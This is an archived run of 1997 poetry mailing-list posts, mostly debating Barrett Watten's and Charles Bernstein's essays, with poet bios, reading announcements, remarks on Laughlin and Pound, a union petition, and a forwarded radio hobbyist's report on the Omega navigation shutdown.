Watten's essay responds primarily to Bernstein's "Poetics of the Americas." I wonder about this claim, which seems to acknowledge its fragility in its idiom. I

don't know that I'd want to talk about "motivations" in the first place, but I'm a little skeptical of the purported "universalism" located in the essay. There IS an effort to find common ground where it is rarely sought. That seems a worthwhile project to me. But "universalism" is a strong claim in reading an essay that wants to "navigate between the universalizing humanisms of internationalism and the parochialism of regionalism and nationalism" while acknowledging that "our different national and cultural circumstances are . . .marked in our poems" (3). In my cursory first gallop through Watten's essay I note that "identity politics" is called a "red herring," but here is what the CB essay says about his Emersonian poetics and "identity": "So I hope it will be apparent that while I welcome the challenge of multiculturalism as it has entered U.S. arts and education in the past decade, I continue to find many of its proponents more interested in reinforcing traditional modes of representation than allowing the heterogeneity of forms and peoples that make up the cultural diversity of the Americas to transform poetic styles and personal and group identities. Yet it is hardly surprising that static conceptions of group identity represented by authentic spokespersons continue to ride roughshod over works and individuals whose identities are complex, multiple, mixed, confused, hyperactivated, miscegenated, synthetic, mutant, forming, or virtual" (3). I leave it to you to decide whether this critique of identity politics--or more exactly a version of it--is baited with a red herring. Hank Lazer has recently mentioned the example of the Heath anthology. Now it might very well be the case that an opportunity for linking the progressive purposes of specific discourses of identity politics and the politics of difference with materialist poetics has been (so far) missed or obfuscated. But in what sense is the CB claim above demonstrably "motivated in a regional politics of literary identity"? It's the word "regional" in particular that I get stuck on. The subtext, perhaps, is that CB is ONLY competing in an aesthetic game for space in the Heath. In the end that may be, sadly, true of all of us--even those who made it in--but that would be a pretty bleak way of looking at things and it certainly reads against the program articulated by CB in the essay at hand, as if hunting an Adorno there. Thus the remark about "modernist form" perhaps--though I'll want to look again at Watten's essay before standing by that connection.

One thing I am sure about--the Watten essay is an important provocation and deserving of discussion. David and Maria are right about that. I wish I had the time to do it justice, but I don't now. Maybe others will, but if it is to be discussed in its relation to the Bernstein essay it is partly a response to, I hope that folks will try to represent fairly both sides of the argument, if an argument is what we've got.

Keith Tuma

> *There is no mantle*
> *and it does not descend.*
>
> *-- Thomas Kinsella*

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291. Charles Alexander
bio for you
Thu 13 Nov 1997

Dodie:

Here's a bio for you. Anything Kevin can do to make it snappy, is fine.

And, sometime after you and Kevin send those agreements back for your readings here, also send bios we can use for press releases and a flyer.

thanks,

charles

CHARLES ALEXANDER

Charles Alexander’s books of poetry include Hopeful Buildings (Chax Press, Tucson, 1990) and arc of light / dark matter (Segue Books, New York, 1992). Two chapbooks are forthcoming in winter 1998: Four Ninety Eight to Seven from Meow Press (Buffalo, New York) and Pushing Water from Standing Stones Press (Morris, Minnesota). He has also published reviews and critical essays on contemporary literature and culture. He is the founder and director of Chax Press, which was begun in Tucson, Arizona in 1984; Chax moved to Minneapolis from 1993 through 1996, and returned to Tucson in the summer of 1996. Chax is a publisher of handmade letterpress books and trade literary editions, both of which explore innovative writing and its conjunction with book forms. Through Chax Press, from 1986 to the present Alexander has organized literary readings, talks, workshops and presentations by artists. From 1993 through 1995 Alexander was executive director of Minnesota Center for Book Arts, the nation’s most comprehensive center for the arts of the book, both in terms of programs and artists’ studio facilities. As its director, Alexander completed the production of the visual/literary artists’ book Winter Book in 1995 with visual artist Tom Rose. In addition he directed educational programs and a variety of artists’ residencies, creative productions, and other works. He was the organizer and director of the 1994 symposium Art and Language: Re-Reading the Boundless Book, one of the foundational symposiums in the recent history of the book arts. From this symposium, he edited the formative collection of essays, Talking The

Boundless Book: Art, Language, and the Book Arts (Minnesota Center for Book Arts, Minneapolis, 1996).

Alexander has given poetry readings, lectures, and workshops throughout the country at colleges, universities, art centers, and other locations, including at the University of Alabama, the University of Arizona, the State University of New York at Buffalo, Painted Bride Arts Center in Philadelphia, Small Press Traffic in San Francisco, Canessa Gallery in San Francisco, the University of Washington, Pacific Lutheran University in Tacoma, Scottsdale Center for the Arts, and many more. Alexander has also performed poetry in galleries and art centers, has collaborated with musicians and dancers, and in general brings to poetry a broad sense of artistic and collaborative possibility.

Poet Robert Creeley writes that Alexander's work "hears a complex literacy of literalizing words. By means of a fencing of statements, sense is found rather than determined. The real is as thought." And, concerning his 1992 book, arc of light/dark matter, the poet and critic Ron Silliman writes, "Now Charles Alexander pushes the envelope of what is possible in writing even further, to the ends of the universe. And beyond. . . This is the most sensuous, intelligent, rewarding writing I've read in ages."

Alexander was born in Honolulu, grew up mostly in Norman, Oklahoma, was educated at Stanford University and the University of Wisconsin-Madison, and has lived in Tucson for most of the last 14 years, including at present, with his wife Cynthia Miller, one of the premier visual artists of the American Southwest.

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://personal.riverusers.com/~chax/ :: http://alexwritdespub.com

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292. Charles Alexander
oh oh oh
Fri 14 Nov 1997

Very sorry that through quirks of email address-keeping and personal error, I sent a message with my bio to the entire poetics list, and not just to its intended recipient

in utter embarrassment,

charles alexander

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://personal.riverusers.com/~chax/ :: http://alexwritdespub.com

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293. **R M Daley**
loy lovers
Fri 14 Nov 1997

--- writing to wonder if anyone has any suggestions for getting a copy of a Mina Loy interview by Paul Blackburn in i think 1966, aspen, colorado- ive heard it throuhg once but no longer have access and no libraries around here can help- or any other hints towards other interesting materials - recordings of loy, eg- are greatly appreciated

thanks, rachel d.

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294. **rsillima**
William Matthews
Fri 14 Nov 1997

The poet William Matthews died of a heart attack the same day as Laughlin. While his poetics were not mine, he seemed like a nice enough fellow back when he was living next door to David McAleavey's Ithaca home in 1970.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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295. **henry**
Re: Acmeists
Fri 14 Nov 1997

On Thu, 13 Nov 1997 15:12:26 -0500 William Burmeister Prod said:
>Fair enough Henry and well taken. And so fare thee well, thou never shall hear
>from herald again.

>
>- Master William Sheakespearemeister

Be not confounded nor dismayed, Willy; perhaps e'en thou hast won ye "argument" , and far be it from me to tether round chit-chat wi' snappish rebukes. Thou hast thy right angles, I mine, & there be room in yon cyberfields here'bout for gabble far & wee. E'en so, I bid thee hasten with thy seconds to Mistress Bull's Tavern 3 past the hour of noon & we shall decide with steel.
Go'w'b'j'etc.'it please thee. - Sir Henry

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296. henry gould
Re: Acmeists, now ... Futurists?
Fri 14 Nov 1997

The example of Montale could be investigated (& has been) in relation to the issues you raise (not to mention in connection with the renewed fire under the Watten/Bernstein tango). Montale was under attack for several decades variously from left and right for "hermeticism"; in his poem "Piccolo Testamente" (sp?) he renounces allegiance to either camp; in an essay he criticizes the eagerness (the professional duty) of intellectuals to take sides - or rather, he doesn't question their eagerness, but questions their claim to being what he calls "free men". I think he means in this case "free artists".

David Kellogg says the Watten discussion was "aborted", and he's right: my opening salvo was never answered (because out of the frame of this discourse?). I said the provocation Watten provides (between "soft" and "hard" language poetry?) was vitiated by the apparent politicization of art on both sides; the "return to context and authorial (political) motivation" is simply a rehash in intellectually sexy terms of the PERENNIAL dilemma of poetry - an autonomous activity - in a tangled web of interests. Poetry is BOTH "poetry per se" and steeped in motivation and context, and this is absolutely nothing new. Watten has done a signal service, though, in POINTING OUT THE OBVIOUS. - Henry Gould

↑ Index

297. Joe Amato/Kass Fleisher
Re: watten barrage
Fri 14 Nov 1997

---

me, i'll stay out of the argument, if that's what it is, suggested by the watten and bernstein pieces... i find both essays to coincide in many ways, even if the emphases differ...

but to say that i found watten's discussion of norms valuable, and that i think he's on target when he identifies norms as products as opposed to "deductive schema," incl. his riff on "nonstandard norms"... this is helpful specifically b/c it suggests that something can be done about norms (e.g., do it y/ourselves), and that doing something about them may itself become, if one isn't careful and as watten indicates, oppressive...

best,

joe

↑ Index

298. Robert Archambeau
What's Up in Sweden
Fri 14 Nov 1997

Does anyone out there know anything about what's happening in Swedish poetry? I'll be at Lund University next year and would like to connect with the poetry community, about which I know almost nothing (though I did once read the old Swallow Press book _Contemporary Swedish Poetry_).

Bob Archambeau

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

the user experiences
no need of acting
  -Tom Raworth

↑ Index

299. Hank Lazer
Re: Reading
Fri 14 Nov 1997

If you're in or near Tuscaloosa today, there will be a free reading/book-event of some interest:

7:30 p.m., AB Theater, University of Alabama campus

poet-musician-painter Jake Berry will perform sections from BRAMBU DREZI, Book 2. Assisting in the evening's events: poets Jack & Adelle Foley (Oakland, CA), Jon Berry, and Hank Lazer, 3 video monitors, photographer-musician

Wayne Sides, dancers Amy Downing and Buffy Barfoot, and Rodney Thomaston and Kevin Humphrey on percussion.

Y'all come down.

↑ Index

300. William Burmeister Prod
Re: a little JB for today
Fri 14 Nov 1997

On Nov 13, 1:50pm, henry gould wrote:
> Subject: a little JB for today

> *Poetry is stronger than the subtle fussing of french litterateurs.*

Always true!

> *"I schyegol razlivatsia v tsyentre provalochnoii Ravenni."*
>
> *[And the goldfinch burst into song in the center of its wire Ravenna.]*
>
> *- J. Brodksy*
> *-- End of excerpt from henry gould*

Ya yishoo nye ochin horosho govariyu rooski
(I still don't speak Russian very well)

WB

↑ Index

301. Maria Damon
Re: James Laughlin
Fri 14 Nov 1997

---

a very informative post, and one that makes me think twice. a publishing company that was started because an aging fascist with enormous charisma and clout said, you should quit writing and devote yourself to publishing me and my friends???? sounds uncomfortably familiar, only usually a certain gender difference plays a role, which it doesn't here, at least not so explicitly...

At 8:23 PM -0400 11/13/97, David R. Israel wrote:
>Patrick Pritchett writes --
>
>> The story goes, as Laughlin himself relates in his marvelous _Pound
>> As Wuz_, that he went to sit at the feet of the master in Rapallo in
>> the late 30's. Pound, however, advised him to give up poetry and
>> start a publishing company that would print Pound and Pound's pals.
>> The rest is history, as they say. . . .

>
>though I don't have the book, am pretty sure -- a small biblio note,
>this -- that the title is *Ez as Wuz* [meaning, Ezra as he the was,
>one supposes -- "Ez" evidently being the familial nickname].
>
>> . . . American poetry owes him a debt which can only be repaid by
>> keeping faith with his committment to making it new.
>
>here here
>
>btw, re: the Poundian dictum "make it new," seems the "it" in question
>is antiquity's language / content -- Pound seeking to promote an Ancient
>Future, so to say (as when he admonished young W.S. Merwin "study
>root language, don't study branch language" or words to that effect)
>. . . so that being steeped in the old, one can then make it new . . .
>
>hat-tips to James Laughlin -- one of those sturdy, rugged, supportive
>presences on whom "so much depends" . . .
>
>d.i.
> .
> .....
> .....
> \\\/////\\\\\
> > david raphael israel <
> >> washington d.c. <<
> | ▇▇▇▇▇▇▇ (home)
> | ▇▇▇▇▇▇▇ (office)
> ==========
> | thy centuries follow each other
> | perfecting a small wild flower
> | (Tagore)
> //\\\\\/////

↑ Index

302. **Maria Damon**

Re: oh oh oh

Fri 14 Nov 1997

At 10:44 PM -0700 11/13/97, Charles Alexander wrote:
>Very sorry that through quirks of email address-keeping and personal error,
>I sent a message with my bio to the entire poetics list, and not just to

>its intended recipient
>
>in utter embarrassment,
>
>charles alexander
>
>
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://personal.riverusers.com/~chax/ :: http://alexwritdespub.com

now charles, don't be embarrassed; the more we know about you the more we love you

↑ Index

303. **Maria Damon**
Re: watten barrage
Fri 14 Nov 1997

At 8:05 AM -0600 11/14/97, Joe Amato/Kass Fleisher wrote:
>me, i'll stay out of the argument, if that's what it is, suggested by the
>watten and bernstein pieces... i find both essays to coincide in many ways,
>even if the emphases differ...
>
>but to say that i found watten's discussion of norms valuable, and that i
>think he's on target when he identifies norms as products as opposed to
>"deductive schema," incl. his riff on "nonstandard norms"... this is
>helpful specifically b/c it suggests that something can be done about norms
>(e.g., do it y/ourselves), and that doing something about them may itself
>become, if one isn't careful and as watten indicates, oppressive...
>
>best,
>
>joe

one thing i like about watten's critique not of charles but of aesthetic universalism of any kind (and of course i adore charles so this is not about personalities but about ideas, lest anyone jump all over me for being disloyal to my listmaster) is precisely that; i value the eclecticism and wide embrace of, say, "ethnopoetics" but have deep problems with the ethics and politics of subsuming *certain* artifacts from "other cultures" under an umbrella of "good poetry" to the exclusion of others, because of some presumed norm (western-modernist-

postmodernist) of what "good poetry" is, without any regard for what is considered powerful utterance/good poetry in the context that gave rise to that artifact or even, aesthetic considerations aside altogether, why this artifact exists in the first place, what were the circumstances of its production and how that affects our access to it, reception of it, understanding of it.

↑ Index

304. David Kellogg
Re: Frederick Turner's The Culture of Hope
Fri 14 Nov 1997

On Sat, 8 Nov 1997 [redacted] wrote:
>
> David, excuse any heavy-handedness in my response to your post. I think
> we are essentially in agreement about the dangers of any scientific
> reductionism (Darwinian fundamentalism, nostalgic empiricism,
> utilitarianism, what have you) that prescribes a specific type of poetry,
> but I heartily disagree with your assertion that informed speculation
> concerning poetry in evolutionary terms cannot tell us anything useful
> about contemporary possibilities.

Thanks. We may indeed be closer than it first appeared.

Let me clarify. I could imagine all sorts of investigations (evolutionary and other) that might provide points of entry into various poetic imaginings. What I _don't_ think such investigations can do is provide before-the-fact pre- or proscriptions as to what poetry might do in this or that instance. I don't think evolutionary psychology can do this in any area of cultural activity (from war to lovemaking), because it is impossible to separate the biological from the cultural. Further, separating biological from cultural materials always seems to end up repeating a wheat/chaff sort of opposition that privileges the biological. Example: suppose I "discover" the biological roots of poetry, and I write material that wilfully disengages from those roots, resists them even, and call it poetry. Would that resistance disqualify calling my engagements "poetry"?

Cheers,
David
~~~
~~~

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

305. David R. Israel
Re: Acmeists, now ... Futurists?
Fri 14 Nov 1997

ladies & gentlemen,

could I trouble someone to identify the source (book? journal?) of
the articles being discussed here -- one by B. Watten, one by Ch.
Bernstein, evidently --
somehow I missed that info (if it were stated) --
thanks,
d.i.

↑ Index

306. henry gould
things happened in Providence
Fri 14 Nov 1997

Last night Peter Johnson and Susan Grant read at Hall Library in Cranston. Peter Johnson is an independent character from Buffalo no less (he just heard about the EPC in his home town) who edits PROSE POEM, is an example of someone with a very clear focus who manages to solicit, read & select from over 5000 prose poems a year for his mag. He gave a very tight entertaining reading of his own & others' work.

Susan Grant edits an annual called the NEWPORT REVIEW; this may have been her first reading. Poetry is great as a vehicle for FREE EXPRESSION, in this it's like medicine. Among other more serious things she read a poetic epistle to one of our Rhode Island state senators, Patrick Kennedy, from a woman sitting in a "clean" laundry basket, asking why oral sex was against the law in RI.

The Hall Library has just agreed to catalog Poetry Mission materials for permanent housing there, a good sign, so thank you all again who made donations to the seed collection, they will be in good hands! We hope it becomes a good resource here.

Keith Waldrop also read in Providence last night, but for obvious reasons I couldn't be there. - Henry Gould

↑ Index

307. aerialedge
Re: watten barrage
Fri 14 Nov 1997

In a message dated 11/15/97 1:48:17 AM, you wrote:

> *without any regard for what is considered powerful utterance/good poetry in the context that gave rise to that artifact or even, aesthetic considerations aside altogether, why this artifact exists in the first place, what were the circumstances of its production and how that affects our access to it, reception of it, understanding of it.*

is it possible?

i.e. is it possible to understand that 'sufficiently'?

that word contingent again again.

in any case. or even if in one case how many more than one can one. it seems information coagulates/constellates but implicit in the questioning is the possibility of a knowledge one can attain yes?

rather say, perhaps this is close to Watten-- the form is the knowledge, in its _movement_, one's experience of that movement.

from XYZ of Reading: "We question a question in order to fill in its form."

tho of course in bureaucratise that is exactly what one must not do, you just fill out the form, _their_ form.

so perhaps looking at seriality, questioning its form, of utmost these days.

↑ Index

308. Matthew Hart
Re: watten barrage
Fri 14 Nov 1997

Sorry to insert such a mundane point into what's a very interesting argument to lurk in, but could someone either post or backchannel the full bibliographical details of the Watten essay? I have some investment in this argument, but am loath to step forward having not read the main occasion, so to speak . . .

Thank you,

Matt Hart

↑ Index

309. **David Kellogg**
Re: watten barrage
Fri 14 Nov 1997

Watten's essay is "The Bride of the Assembly Line: From Material Text to Cultural Poetics," Impercipient Lecture Series 1.8, available from Steve Evans & Jennifer Moxley, 61 East Manning Street, Providence, RI, 02906-4008. $5 for single issue, $25 for ten issues.
~~~
~~~

here's a description of the end of omega by one of those long wave nerds.

Bill L . . . . . .

Omega shut down! Here's a copy of my report e-mailed to a few other people and also a spectrogram made of the tape:

Well, I got a nice recording of Omega's last beeps and also two nights of nice whistlers too, especially this morning, 01 October, between 1100-1330 UT. There was also some intermittant dawn chorus starting at about 1230 UT and going until after 1500 UT - I had not yet caught chorus this summer or fall until now, so I was really glad to hear some chorus even though it was not very strong, and overall a really nice 2 days of whistler listening. Many whistlers this morning (October 01) had echoes too! The whistlers seemed to be generated by fairly nearby lightning - not too local but within 1000 miles.

I have found that indeed (and this is shown in a more recent book on magnetospheric physics), whistlers don't follow exact paths and congugate points AT ALL(!!!). Often, loud whistlers at any locale may be generated by lightning somewhat far away (1000-2000 miles perhaps) while more closeby lightning is NOT generating the loudest whistlers (which may be loud 1000 miles away somewhere ELSE!) Listening since mid-august has given me quite a bit of observation in this regard and countless examples on tape. I mentioned this somewhat subjectively in my VLF STORY I wrote a few years back and I'm even more sure of this. Sooo, Mexican or Montanan lightning may make LOUD California whistlers, and at the same time California lightning may make for loud whistlers in Colorado or even Kansas (to use a scenario). Certainly, there are times when nearby lightning does make for the loudest whistlers, but this is more infrequent in my observations than the scenario above.

Anyway back to Omega's shutdown--I started recording at 0257 UT 9/30. I made a WWV time check at 0259 on the tape and then let it run with the WR-4b whistler receiver set to high-pass--lots of Omega into the tape recorder. At about 0259:30, Omega D (North Dakota) shut down, leaving Omega-C Hawaii going for about 2-3 more of its cycles. About 0300 (or within a few seconds) and after its two 11.8 kHz beeps, Omega C went off. Both D and C did not shut off abruptly, but did a sort of 'fade-out' over a 1-2 second period. Interestingly, going over the tape in slow motion revealed a third, very weak Omega station running on until a minute or so later - the 10.2 kHz beep was noticed. Probably H-Japan, the next strongest station here in Califirnia usually.

By 0301 UT, all that was left was the Russian Alpha system - short beeps in clusters of three beeps, a pause, then three beeps again in downward frequency steps. Russian Alpha is much weaker and higher up in frequency (up to 14.1 kHz) then Omega was and has a far lower duty-cycle, and so the natural radio band is really MUCH cleaner sounding suddenly! It's also fun to observe Alpha

propagation - I guess the strongest one I get is from Siberia--it is stronger toward sunrise than at any other time of the day by 3-6 dB or so.

The spectrogram above shows Omega Station "D" North Dakota, and Omega Station "C" Oahu, Hawaii with their last beeps. Recorded on my van-based WR-4b VLF receiver with 2 meter whip antenna up 3 meters high. The tape was made on a Marantz PMD-212 with cromium tape and the WR-4b in high-pass/emphasis mode.

The tape was copied into a sound file at 44.1 kHz/16 bit. Then it was FFT filtered in Coolwave 1.5 and 9 to 14 kHz was emphasised by 15 dB. Then I ran a spectrogram on it and then edited the spectrogram adding the labels.

Notice that there is a weak short-beep station transmitting - that is Russian Alpha.

There are supposedly three(?) stations in the Alpha chain. Does any reader know of info on the Russian Alpha system - locations, frequencies and format? Certainly, Alpha is going to continue for a while and it is going to be noticed by some listeners even though it is fairly weak. I'd like to put Alpha information into the WR-3/3E VLF Listening Guide and the VLF Listener's Handbook replacing the Omega info.

More about the defunct Omega Radio Navigation System is in the WR- 3/3E LISTENING GUIDE Under the Omega section. This will not remain in the Guide for too much longer.

Stephen P. McGreevy
P.O. Box 928
Lone Pine, CA 93545-0928 USA

http://www.triax.com/vlfradio/omega.htm

↑ Index

311. David Kellogg
Re: watten barrage
Fri 14 Nov 1997

Keith, you're right to point out the need to bring Bernstein's piece directly into the conversation, instead of peripherally. I'll do that when I have it on hand (don't right now).

Joe Amato is also right to point out that there are lots of convergences between the approaches. Watten's take-no-prisoners style has always, to me, stressed differences that assume a ground of agreement which some might not recognize. It's part of his way of making conversation.

As to the "red herring" issue. It might or might not be accurate to charge Bernstein's essay in this way; however, I think it's not off the mark to suggest a certain visible tendency in the way arguments are carrried out over issues such as the Heath turf wars. Way back as far as Ron Silliman's _The New Sentence_, the point about competition among excluded poetries for "slots in the metanetwork" was being made by writers associated with the language movement; while Ron is about as pluralist a poet as I know, and has emphasized the specificity of his approach in more recent essays (like the one in _The Politics of Poetic Form_), identifying the institutional issue as important is both right and problematic. What Watten is trying to do here, I think, is intervene in a way that prevents the politics of poetry from being reduced to a merely literary politics. In that sense, he reads Bernstein as symptomatic, even though, as we all know, they have more in common than many other poets.

Watten's piece and Bob Perelman's Marginalization have this in common: they represent a continuation of some debates that took place in the seventies, but in a new context: now that language writing is being academically recognized, that continuing debate is -- can't help but be -- (mis)recognized as fragmentation.

Cheers,
David
~~~
~~~

large part to Laughlin that you can pick up much of Hermann Hesse's work at your local library.

Brent

At 09:23 AM 11/14/97 -0600, you wrote:
>a very informative post, and one that makes me think twice. a publishing
>company that was started because an aging fascist with enormous charisma
>and clout said, you should quit writing and devote yourself to publishing
>me and my friends???? sounds uncomfortably familiar, only usually a
>certain gender difference plays a role, which it doesn't here, at least not
>so explicitly...
>
>At 8:23 PM -0400 11/13/97, David R. Israel wrote:
>>Patrick Pritchett writes --
>>
>>> The story goes, as Laughlin himself relates in his marvelous _Pound
>>> As Wuz_, that he went to sit at the feet of the master in Rapallo in
>>> the late 30's. Pound, however, advised him to give up poetry and
>>> start a publishing company that would print Pound and Pound's pals.
>>> The rest is history, as they say. . . .
>>
>>though I don't have the book, am pretty sure -- a small biblio note,
>>this -- that the title is *Ez as Wuz* [meaning, Ezra as he the was,
>>one supposes -- "Ez" evidently being the familial nickname].
>>
>>> . . . American poetry owes him a debt which can only be repaid by
>>> keeping faith with his committment to making it new.
>>
>>here here
>>
>>btw, re: the Poundian dictum "make it new," seems the "it" in question
>>is antiquity's language / content -- Pound seeking to promote an Ancient
>>Future, so to say (as when he admonished young W.S. Merwin "study
>>root language, don't study branch language" or words to that effect)
>>. . . so that being steeped in the old, one can then make it new . . .
>>
>>hat-tips to James Laughlin -- one of those sturdy, rugged, supportive
>>presences on whom "so much depends" . . .
>>
>>d.i.
>> .
>> .....

```
>> ............
>> \\\\
```

↑ Index

315. Pritchett,Pat
Re: James Laughlin
Fri 14 Nov 1997

Interesting observation, Maria. Pound was, I suppose, nothing if not patronizing. This tendency to lord it over "lesser mortals" seems over to time to have become magnified into his psychosis. Funny thing is though, I can't think of a better word to describe the institutionalized sexism you allude to. And this remark from Pound to JL by the same poet who satirized such patronizing attitudes in "Hugh Selwyn Mauberly": "... and give up poetry, my boy, there's no money in it."

Patrick Pritchett

From: Maria Damon
To: POETICS
Subject: Re: James Laughlin
Date: Friday, November 14, 1997 12:06PM

a very informative post, and one that makes me think twice. a publishing company that was started because an aging fascist with enormous charisma and clout said, you should quit writing and devote yourself to publishing me and my friends???? sounds uncomfortably familiar, only usually a certain gender difference plays a role, which it doesn't here, at least not so explicitly...

At 8:23 PM -0400 11/13/97, David R. Israel wrote:
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>> the late 30's. Pound, however, advised him to give up poetry and
>> start a publishing company that would print Pound and Pound's pals.
>> The rest is history, as they say. . . .
>

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316. Brent Long
Portable Plateau
Fri 14 Nov 1997

Micheal Hoerman's new literary magazine, _The Portable Plateau_, is getting ready for its second issue. As some of you know, the first issue contained work by Tess Gallagher, some previously unpublished Langston Hughes, Betsy Robin

Schwarts, Frank Stanford, and others. Next issue has Gary Snyder, Al Young, John Clelland Holmes (possibly previously unpublished, though I am unsure), and some others. Anyone interested in submitting or subscribing should contact Mike at [redacted] or call him at [redacted]. Also, for those of you who love snail mail, P.O. Box 755 Joplin, MO 64801

Best,
Brent

↑ Index

317. **Maria Damon**
Re: James Laughlin
Fri 14 Nov 1997

At 5:14 PM -0500 11/14/97, Brent Long wrote:
>maria,
>Whether or not you agree with who he published, Laughlin's contributions to
>20th Century literature are immense. Keep in mind that it is due in large
>part to Laughlin that you can pick up much of Hermann Hesse's work at your
>local library.
>
>Brent

brent: you seem to have missed my point, which was not to chide laughlin for being a publisher (you may have noticed i was among the first to respond to marjorie's post), but to chide pound for (if the anecdote is accurate) suggesting laughlin give up his own writing in order to devote his considerable talent and resources to publish --surprise surprise --pound himself. i said it sounded like the same old, though usually gendered, story: "honey, don't do your own writing, give up everything to support ME and MY writing." it is good to hear from others that laughlin did not entirely abandon his own writing after all.
>
>
>
>At 09:23 AM 11/14/97 -0600, you wrote:
>>a very informative post, and one that makes me think twice. a publishing
>>company that was started because an aging fascist with enormous charisma
>>and clout said, you should quit writing and devote yourself to publishing
>>me and my friends???? sounds uncomfortably familiar, only usually a
>>certain gender difference plays a role, which it doesn't here, at least not
>>so explicitly...
>>

>>At 8:23 PM -0400 11/13/97, David R. Israel wrote:
>>>Patrick Pritchett writes --
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>>>> The story goes, as Laughlin himself relates in his marvelous _Pound
>>>> As Wuz_, that he went to sit at the feet of the master in Rapallo in
>>>> the late 30's. Pound, however, advised him to give up poetry and
>>>> start a publishing company that would print Pound and Pound's pals.
>>>> The rest is history, as they say. . . .
>>>
>>>though I don't have the book, am pretty sure -- a small biblio note,
>>>this -- that the title is *Ez as Wuz* [meaning, Ezra as he the was,
>>>one supposes -- "Ez" evidently being the familial nickname].
>>>
>>>> . . . American poetry owes him a debt which can only be repaid by
>>>> keeping faith with his committment to making it new.
>>>
>>>here here
>>>
>>>btw, re: the Poundian dictum "make it new," seems the "it" in question
>>>is antiquity's language / content -- Pound seeking to promote an Ancient
>>>Future, so to say (as when he admonished young W.S. Merwin "study
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>>>. . . so that being steeped in the old, one can then make it new . . .
>>>
>>>hat-tips to James Laughlin -- one of those sturdy, rugged, supportive
>>>presences on whom "so much depends" . . .
>>>
>>>d.i.
>>> .
>>> .....
>>> .....
>>> \\\\

>>
>>

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318. **Safdie Joseph**

Re: Announcing Proliferation #4 issue & Contributors' Reading

Fri 14 Nov 1997

Mary,

If this gets to you in time, perhaps you can send my regards to Stephen Ratcliffe, who I published several times in a magazine I did in the late eighties, _Peninsula_. Tell me to send me an e-mail or two!

I didn't know about your magazine. Are you accepting stuff these days? Just finished a new long poem that I think might feel comfortable in your pages.

Anyway, hope tonight's a success!

Best,

Joe Safdie

> *----------*
> *From: Mary Burger[SMTP:[redacted]]*
> *Sent: Friday, November 14, 1997 12:42 PM*
> *To: [redacted]*
> *Subject: Announcing Proliferation #4 issue & Contributors' Reading*
>
> *Proliferation #4 is now available, with work by Susan Gevirtz, Stephen Ratcliffe, Pamela Lu, Renee Gladman, Dan Bouchard, Beth Anderson, Joseph*
> *Torra, Tan Lin, Bill Lavender, Laura Moriarty, Leslie Scalapino, and more.*
>
> *BAY AREA CONTRIBUTORS' READING:*
> *Friday, Nov. 14, 7:30 p.m.*
> *Modern Times Bookstore*
> *Valencia St. & 20th St.*
> *San Francisco*
>
> *ISSUE available from:*
> ** Modern Times Bookstore*
>
> ** The Editors: (send check for $9.50 including postage, payable to M. Burger or C. Vitiello)*
> *Mary Burger, 1253 Hampshire St., San Francisco CA 94110*
> *or*

> *Chris Vitiello, 2707 Farthing St., Durham NC 27704*
>
> **Small Press Distribution - coming soon!*
> [redacted]

↑ Index

319. William Burmeister Prod
Re: quote for the day
Fri 14 Nov 1997

Harold Rhenisch wrote:

> *I was trying to work out the idea that if people were responding to the trace of a foreign aesthetic, or the way in which it manifested itself within the parameters of their receiving technology (or culture), very little communication is going to take place: what will be communicated will be only a series of traces, which seem to me to be terribly short-lived and unstable isotopes.*

The short time traces have always been unavoidable in poetry (even desirable I might think; a lot more than we can quantify gets communicated in short spaces). This is subtlety and something for poets of the now and the future to develop.

> *When we shift to a different type of text (from conservative poetry to lang-po, for instance, or from Disneyland sound-bites to T.S. Eliot) we will get messed up, because we will process the signal automatically, but we will be processing it incorrectly. It will be unreadable. A reader willing to do the work will correct this, by switching to manual processing, then building up a new and more sophisticated processing system, which can eventually process the material correctly.*

And a quiet revolution has taken place.

William Burmeister

↑ Index

320. Safdie Joseph
Re: Announcing Proliferation #4 issue & Contributors' Reading
Fri 14 Nov 1997

Sorry sorry sorry . . . but glad to report that the old expression "my ears are burning" has some exact neuro-physical referents!

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321. Aviva Vogel
Re: watten barrage
Fri 14 Nov 1997

In a message dated 97-11-14 18:50:37 EST, you write:

<< Keith, you're right to point out the need to bring Bernstein's piece
directly into the conversation, instead of peripherally. I'll do that
when I have it on hand (don't right now).
>>

YES! I would love that. I'm having a hard time without it. While I'm fascinated with this discussion, it's fragmented to such a degree that part of the fascination is puzzling out the missing content. I'd like to have a more complete understanding!

Thanks, Aviva

↑ Index

322. Brent Long
Dugan/out of print books
Fri 14 Nov 1997

After a varied string of posts on another list, I heard that Alan Dugan's poems are now all completely out of print. I assume this is true since a friend of mine who knows him told me so, but I am wondering where I might get copies of Poems 1, 2, and 4. Any help would be greatly appreciated.

Best,

Brent

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323. P.Standard Schaefer
Border's Books/Union Petition
Fri 14 Nov 1997

To the Poetics List:

I got the petition e-mailed to me so I thought I'd post it so people could know about what's going on with Border's Books. Essentially, they're bullying the workers and threatening to fire them, ect., should they try to organize. I'm under the impression health benefits are part of the concern.

Send mail/signed copies to Mr. Lichenstein.

Nelson Lichenstein
Department of History

U. of Virginia
Charlottesville, VA 22903

We hereby demand that Border's, Inc. bargain in good faith and negotiate a fair and equitable contract with their employees who exercised their legal right by voting to be represented by the United Food and Commercial Workers, AFL-CIO.

Further we demand that Borders, Inc. cease and desist from all actions intended to intimidate, or demean its employees; that Borders, Inc. affirm the employees' legal right to form and join a Union, and remain neutral in employees' efforts to organize.

Paul Vangelisti
Writer & teacher
Los Angeles

Robert Crosson
Writer
Los Angeles

Standard Schaefer
Writer
Pasadena

Evan Calbi
Writer/Editor
Los Angeles

↑ Index

324. Layne Russell

Re: Announcing Proliferation #4 issue & Contributors' Reading

Fri 14 Nov 1997

Safdie Joseph wrote:
>
> Mary,
>
> If this gets to you in time, perhaps you can send my regards to Stephen
> Ratcliffe, who I published several times in a magazine I did in the late
> eighties, _Peninsula_. Tell me to send me an e-mail or two!

Safdie,

